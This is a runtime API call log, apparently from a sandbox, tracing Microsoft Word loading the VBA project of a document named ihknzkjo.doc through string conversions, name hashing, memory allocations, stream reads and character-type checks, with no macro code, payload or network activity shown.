0x0 [0018.208] CoCreateGuid (in: pguid=0x306790 | out: pguid=0x306790*(Data1=0x1f0e506, Data2=0xdb81, Data3=0x48c7, Data4=([0]=0xbe, [1]=0xed, [2]=0x6f, [3]=0x5, [4]=0x36, [5]=0xe0, [6]=0x7f, [7]=0xa7))) returned 0x0 [0018.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x3067a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.208] GetLocalTime (in: lpSystemTime=0x306678 | out: lpSystemTime=0x306678*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x1fb)) [0018.208] _ultow_s (in: _Value=0x5bf1acda, _Buffer=0x7ac8f6c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1acda") returned 0x0 [0018.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015bf1acda", cchWideChar=11, lpMultiByteStr=0x306610, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x170) returned 0x7a07da0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x50) returned 0x790bc20 [0018.209] strcpy_s (in: _Dst=0x7a1f5a8, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0018.209] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.209] wcscpy_s (in: _Destination=0x7ac8f80, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0018.209] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.209] wcscpy_s (in: _Destination=0x7ac8fa0, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0018.209] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x48) returned 0x79ae7f0 [0018.209] IMalloc:Free (This=0x7fefe9e5380, pv=0x7785fe0) [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c800 [0018.209] IMalloc:Free (This=0x7fefe9e5380, pv=0x79ae7f0) [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x3d0) returned 0xbb46ff0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c800 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796d520 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959980 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f75a0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f75b0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x688) returned 0xbb473d0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959a10 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x640) returned 0x7ad9a10 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c7d0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7690 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7fb0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c770 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959aa0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x400) returned 0x76183b0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x400) returned 0x76187c0 [0018.209] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x400) returned 0x7618bd0 [0018.209] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0018.209] strcpy_s (in: _Dst=0x3067e0, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0018.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3067e0, cbMultiByte=10, lpWideCharStr=0x306630, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0018.209] IUnknown:AddRef (This=0x7919520) returned 0x3 [0018.209] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x306700, pBstrLibName=0x306630 | out: pfName=0x306700*=0, pBstrLibName=0x306630) returned 0x0 [0018.209] IUnknown:Release (This=0x7919520) returned 0x2 [0018.209] IUnknown:AddRef (This=0x7346470) returned 0x3 [0018.209] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x306700, pBstrLibName=0x306630 | out: pfName=0x306700*=0, pBstrLibName=0x306630) returned 0x0 [0018.209] IUnknown:Release (This=0x7346470) returned 0x2 [0018.209] IUnknown:AddRef (This=0x7345930) returned 0x5 [0018.209] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x306700, pBstrLibName=0x306630 | out: pfName=0x306700*=0, pBstrLibName=0x306630) returned 0x0 [0018.209] IUnknown:Release (This=0x7345930) returned 0x4 [0018.209] IUnknown:AddRef (This=0x7919ac0) returned 0x2 [0018.209] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x306700, pBstrLibName=0x306630 | out: pfName=0x306700*=1, pBstrLibName=0x306630) returned 0x0 [0018.209] IUnknown:Release (This=0x7919ac0) returned 0x1 [0018.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Evaluate", cchWideChar=-1, lpMultiByteStr=0x3067e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Evaluate", lpUsedDefaultChar=0x0) returned 10 [0018.210] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0018.210] wcsncpy_s (in: _Destination=0x3067f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.210] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x306720, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.210] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CNormal") returned -11 [0018.210] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.210] CExposedDocFile::AddRef () returned 0x3 [0018.210] CExposedDocFile::AddRef () returned 0x4 [0018.210] CExposedDocFile::OpenStream () returned 0x0 [0018.210] CExposedDocFile::Release () returned 0x3 [0018.210] CExposedStream::Seek () returned 0x0 [0018.210] CExposedStream::AddRef () returned 0x2 [0018.210] CExposedStream::Read () returned 0x0 [0018.210] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x2028) returned 0xbb47a60 [0018.212] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10020*=0x10128) returned 0xbb49a90 [0018.212] CExposedStream::AddRef () returned 0x3 [0018.212] CExposedStream::Release () returned 0x2 [0018.213] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x2ee0) returned 0xbb59ac0 [0018.213] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x800) returned 0x773c480 [0018.213] CExposedStream::Read () returned 0x0 [0018.213] CExposedStream::Read () returned 0x0 [0018.213] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x404) returned 0x7618fe0 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x80", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x81", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x82", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x83", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x84", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="…", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x86", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x87", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x88", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x89", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8a", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8b", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8c", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8d", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8e", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8f", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x90", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x91", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x92", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x93", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x94", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x95", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x96", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x97", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x98", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x99", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.213] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9a", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9b", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9c", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9d", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9e", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9f", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr=" ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¡", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¢", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="£", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¤", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¥", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¦", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="§", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¨", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="©", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ª", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="«", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¬", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="­", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="®", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¯", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="°", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="±", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="²", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="³", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="´", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="µ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¶", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="·", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¸", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¹", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="º", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="»", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¼", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="½", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¾", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¿", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="À", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Á", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Â", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ã", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ä", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Å", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Æ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ç", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="È", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="É", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ê", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ë", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ì", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Í", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Î", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ï", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ð", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ñ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ò", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.214] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ó", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ô", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Õ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ö", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="×", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ø", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ù", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ú", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Û", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ü", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Ý", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="Þ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ß", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="à", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="á", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="â", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ã", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ä", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="å", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="æ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ç", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="è", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="é", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ê", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ë", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ì", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="í", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="î", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ï", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ð", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ñ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ò", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ó", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ô", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] 